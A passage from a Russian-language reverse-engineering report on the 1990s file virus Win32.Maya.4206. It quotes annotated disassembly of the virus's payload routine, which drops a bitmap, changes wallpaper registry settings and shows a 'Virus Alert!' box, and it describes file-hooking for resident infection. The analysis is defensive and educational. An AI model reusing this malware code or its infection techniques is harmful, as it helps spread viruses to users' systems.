CODE:00401819                call    GetProcAddress_0         ; Получить
адрес SystemParametersInfoA
CODE:0040181E                cmp     eax, 0
CODE:00401821                jz      locret_40192C
CODE:00401827                mov     ss:SystemParametersInfoA[ebp], eax
CODE:0040182D                ; Создать файл SLAM.BMP
CODE:0040182D                push    0
CODE:0040182F                push    80h
CODE:00401834                push    2                        ;
CREATE_ALWAYS
CODE:00401836                push    0
CODE:00401838                push    1
CODE:0040183A                push    40000000h                ; GENERIC_WRITE
CODE:0040183F                mov     eax, offset aSlamBmp     ; "SLAM.BMP"
CODE:00401844                add     eax, ebp
CODE:00401846                push    eax
CODE:00401847                mov     eax, ss:CreateFileA[ebp]
CODE:0040184D                call    eax                      ;
CreateFileA("SLAM.BMP", ...)
CODE:0040184F                cmp     eax, 0FFFFFFFFh
CODE:00401852                jz      locret_40192C
CODE:00401858                mov     ss:dword_401ED9[ebp], eax ; Сохранить
handle
CODE:0040185E                push    0
CODE:00401860                mov     eax, offset byte_401EDD
CODE:00401865                add     eax, ebp
```

```
CODE:00401867                   push    eax
CODE:00401868                   push    0E6h                    ; Размер
данных (230 байт)
CODE:0040186D                   mov     eax, offset dword_401F88 ; Данные BMP
файла
CODE:00401872                   add     eax, ebp
CODE:00401874                   push    eax
CODE:00401875                   push    ss:dword_401ED9[ebp]
CODE:0040187B                   mov     eax, ss:WriteFile[ebp]
CODE:00401881                   call    eax                     ; Записать BMP
данные
CODE:00401883                   push    ss:dword_401ED9[ebp]
CODE:00401889                   mov     eax, ss:CloseHandle[ebp]
CODE:0040188F                   call    eax                     ; Закрыть файл
CODE:00401891                   ; Изменить настройки обоев в реестре
CODE:00401891                   mov     eax, offset dword_401EAB
CODE:00401896                   add     eax, ebp
CODE:00401898                   push    eax
CODE:00401899                   push    2
CODE:0040189B                   push    0
CODE:0040189D                   mov     eax, (offset aIahscontrolPan+4) ;
"Control Panel\\Desktop"
CODE:004018A2                   add     eax, ebp
CODE:004018A4                   push    eax
CODE:004018A5                   push    80000001h               ;
HKEY_CURRENT_USER
CODE:004018AA                   mov     eax, ss:RegOpenKeyExA[ebp]
CODE:004018B0                   call    eax                     ;
RegOpenKeyExA(HKCU, "Control Panel\\Desktop", ...)
CODE:004018B2                   push    2
CODE:004018B4                   mov     eax, offset a1          ; "1"
CODE:004018B9                   add     eax, ebp
CODE:004018BB                   push    eax
CODE:004018BC                   push    1
CODE:004018BE                   push    0
CODE:004018C0                   mov     eax, offset aTilewallpaper ;
"TileWallpaper"
CODE:004018C5                   add     eax, ebp
CODE:004018C7                   push    eax
CODE:004018C8                   push    ss:dword_401EAB[ebp]
CODE:004018CE                   mov     eax, ss:RegSetValueExA[ebp]
CODE:004018D4                   call    eax                     ;
RegSetValueExA(..., "TileWallpaper", "1", ...)
CODE:004018D6                   push    2
CODE:004018D8                   mov     eax, offset a0          ; "0"
CODE:004018DD                   add     eax, ebp
CODE:004018DF                   push    eax
CODE:004018E0                   push    1
CODE:004018E2                   push    0
CODE:004018E4                   mov     eax, offset aWallpaperstyle ;
"WallpaperStyle"
CODE:004018E9                   add     eax, ebp
CODE:004018EB                   push    eax
CODE:004018EC                   push    ss:dword_401EAB[ebp]
CODE:004018F2                   mov     eax, ss:RegSetValueExA[ebp]
CODE:004018F8                   call    eax                     ;
RegSetValueExA(..., "WallpaperStyle", "0", ...)
CODE:004018FA                   ; Установить обои
CODE:004018FA                   push    0
CODE:004018FC                   mov     eax, offset aSlamBmp    ; "SLAM.BMP"
CODE:00401901                   add     eax, ebp
CODE:00401903                   push    eax
```

```
CODE:00401904                 push    0
CODE:00401906                 push    14h                     ;
SPI_SETDESKWALLPAPER
CODE:00401908                 mov     eax, ss:SystemParametersInfoA[ebp]
CODE:0040190E                 call    eax                     ;
SystemParametersInfoA(SPI_SETDESKWALLPAPER, "SLAM.BMP", ...)
CODE:00401910                 ; Показать сообщение
CODE:00401910                 push    30h                     ;
MB_ICONEXCLAMATION | MB_OK
CODE:00401912                 mov     eax, offset aVirusAlert  ; "Virus
Alert!"
CODE:00401917                 add     eax, ebp
CODE:00401919                 push    eax
CODE:0040191A                 mov     eax, offset aWin32MayaC1998 ;
"Win32.Maya (c) 1998 The Shaitan [SLAM]"
CODE:0040191F                 add     eax, ebp
CODE:00401921                 push    eax
CODE:00401922                 push    0
CODE:00401924                 mov     eax, ss:MessageBoxA_0[ebp]
CODE:0040192A                 call    eax                     ;
MessageBoxA(0, "Win32.Maya...", "Virus Alert!", ...)
CODE:0040192C locret_40192C:
CODE:0040192C                 retn
CODE:0040192C Payload         endp
```

ДОКАЗАТЕЛЬСТВО: В файле Virus.Win32.Maya.4206.lst (строки 1083-1212) видна полная реализация функции Payload. Вирус:

1. Проверяет системное время (GetSystemTime)
2. Создает файл SLAM.BMP с данными обоев (230 байт)
3. Изменяет настройки обоев в реестре (TileWallpaper=1, WallpaperStyle=0)
4. Устанавливает обои через SystemParametersInfoA
5. Показывает MessageBox с текстом "Win32.Maya (c) 1998 The Shaitan [SLAM]"

3.2 Перезват файловых функций

Адрес: 0x00401546 (функция HookFileFunctions)

Код из lst файла (строки 746-786):

```
CODE:00401546 HookFileFunctions proc near
CODE:00401546                 ; Перехватывает функции работы с файлами для
резидентного заражения
CODE:00401546                 ; При каждом открытии файла вирус проверяет и
заражает его
CODE:00401584 HookFileFunctions endp
```

ДОКАЗАТЕЛЬСТВО: В файле Virus.Win32.Maya.4206.lst (строки 746-786) видна функция HookFileFunctions. Вирус использует перехват файловых операций для резидентного заражения файлов при их открытии.

ЗАКЛЮЧЕНИЕ

Проведенный детальный анализ вируса Virus.Win32.Maya.4206 позволил получить полное представление о механизмах его работы, техниках обхода антивирусных систем и функциональности. Результаты анализа демонстрируют, что данный вирус является типичным представителем файловых вирусов конца 1990-х годов, использующим классические техники заражения и обхода защиты.

Использование файловых отображений (memory-mapped files) для работы с файлами, тщательная работа с PE-структурой, включая обновление размеров секций и выравнивание по границам, а также правильная установка флагов секций демонстрируют внимание к деталям и стремление создать надежный и стабильно работающий вирус.

Данный вирус представляет значительный интерес для изучения техник реверс-инжиниринга и анализа вредоносного программного обеспечения. Его относительно простая структура и использование классических техник делают его отличным учебным материалом для понимания основ работы файловых вирусов и методов их анализа.